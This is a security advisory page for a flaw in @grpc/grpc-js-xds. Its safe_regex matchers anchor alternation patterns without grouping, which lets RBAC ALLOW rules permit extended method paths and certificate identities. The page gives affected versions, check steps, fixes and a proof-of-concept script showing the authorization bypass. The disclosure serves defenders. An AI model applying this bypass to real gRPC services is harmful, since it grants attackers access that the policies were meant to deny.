---
id: "CVE-2026-126367"
page: "https://infrastack.ai/live/CVE-2026-126367"
kind: "vulnerability"
aliases: ["CVE-2026-126367", "GHSA-r7hq-q2xm-6c5m"]
title: "@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation"
severity: "medium"
cvss: 4.8
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@grpc/grpc-js-xds", "fixed": ["1.14.2"], "affected": ">= 1.14.0, < 1.14.2", "ecosystem": "npm"}, {"name": "@grpc/grpc-js-xds", "fixed": ["1.13.2"], "affected": "< 1.13.2", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-625", "cwe-863", "grpc", "grpc-js-xds", "node", "package", "rbac", "xds"]
not_affected_if: ["default-config", "no-safe-regex-alternation"]
published_at: "2026-11-12T23:21:57+00:00"
first_seen_at: "2026-11-12T23:23:19+00:00"
updated_at: "2026-11-12T23:24:01+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-r7hq-q2xm-6c5m", "first_seen_at": "2026-11-12T23:23:19+00:00"}]
exploit_sources: []
---

# @grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation

Link for people: https://infrastack.ai/live/CVE-2026-126367 (this .md is for agents)

The @grpc/grpc-js-xds library builds regex matchers as ^pattern$ without grouping, so an alternation like a|b matches any value that starts with a or ends with b. An ALLOW rule written with alternation can therefore grant access to method paths, certificate identities or header values that extend an intended one.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@grpc/grpc-js-xds affected >= 1.14.0, < 1.14.2 fixed 1.14.2
- npm:@grpc/grpc-js-xds affected < 1.13.2 fixed 1.13.2

## How to check

- Search your code and xDS/Envoy-style config for `safe_regex` matchers that contain `|`.
- Check the installed version with `npm ls @grpc/grpc-js-xds`; versions `>= 1.14.0, < 1.14.2` and `< 1.13.2` are affected.

## Fix

- `@grpc/grpc-js-xds` `1.14.2` for the 1.14 line
- `@grpc/grpc-js-xds` `1.13.2` for the 1.13 line

## Timeline

- 2026-11-12T23:23:19+00:00 ghsa https://github.com/advisories/GHSA-r7hq-q2xm-6c5m

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/grpc/grpc-node/security-advisories/GHSA-r7hq-q2xm-6c5m
- [advisory] Maintainer's advisory: github.com https://github.com/grpc/grpc-node/security/advisories/GHSA-r7hq-q2xm-6c5m
- [fix] Patch: github.com https://github.com/grpc/grpc-node/commit/3fc3b0ebf7a89d64843a73679951142d33b40cb1
- [fix] Patch: github.com https://github.com/grpc/grpc-node/commit/57a67e96babcb29b6eabc1833221ccf2fa152d43
- [fix] Release: github.com https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.13.2
- [fix] Release: github.com https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.14.2

## From the sources

### Summary

The StringMatcher/PathMatcher for `safe_regex` builds its RE2 as `^${regex}$` with no surrounding group. Because alternation has the lowest precedence, a pattern `"a|b|c"` compiles to `/^a|b|c$/` -- "starts with a" OR "contains b" OR "ends with c" instead of a full match of the whole value. Configurations with `safe_regex` matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.

### Details

`src/matcher.ts`: `SafeRegexValueMatcher` and `PathSafeRegexValueMatcher` both do
```ts
this.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');
```

and `apply()` returns `targetRegexImpl.test(value)`. With a top-level alternation the anchors bind only to the first/last branch.

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232

`src/route.ts` (`getPredicateForStringMatcher` / `getPredicateForHeaderMatcher`) builds these for every `safe_regex` `StringMatcher`/`HeaderMatcher`, and src/rbac.ts uses them for RBAC `url_path` `permissions`/`principals`, `authenticated.principal_name` (mTLS SAN/CN), `requested_server_name` and `header rules`. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28

https://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47

### Proof of concept

In a scratch directory:

```
npm init -y
npm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js
node poc.cjs
```

`poc.cjs` calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:

```js
const { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')
const { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')
const { Metadata } = require('@grpc/grpc-js')

console.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)

const sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })
const info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,
  destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })
const g = parseConfig({ action: 'ALLOW', policies: { p: {
  permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],
  principals: [{ identifier: 'any', any: true }] } } })

console.log('GetUser       ', g.apply(info('/acme.Users/GetUser')))       // true  (intended)
console.log('DeleteUser    ', g.apply(info('/acme.Users/DeleteUser')))    // false (control)
console.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS
```

Observed (grpc-js-xds 1.14.1, grpc-js 1.14.6):

```
matcher "admin|editor" -> SafeRegex(/^admin|editor$/u);
    apply("administrator")=true, apply("not-an-editor")=true
ALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:
    /acme.Users/GetUser         -> ALLOWED (intended)
    /acme.Users/DeleteUser      -> denied  (control)
    /acme.Users/GetUserSecrets  -> ALLOWED <-- bypass (policy intends deny)
control, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied
ALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:
    spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass
```

### Impact

Users of `@grpc/grpc-js-xds` who are using `safe_regex` matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
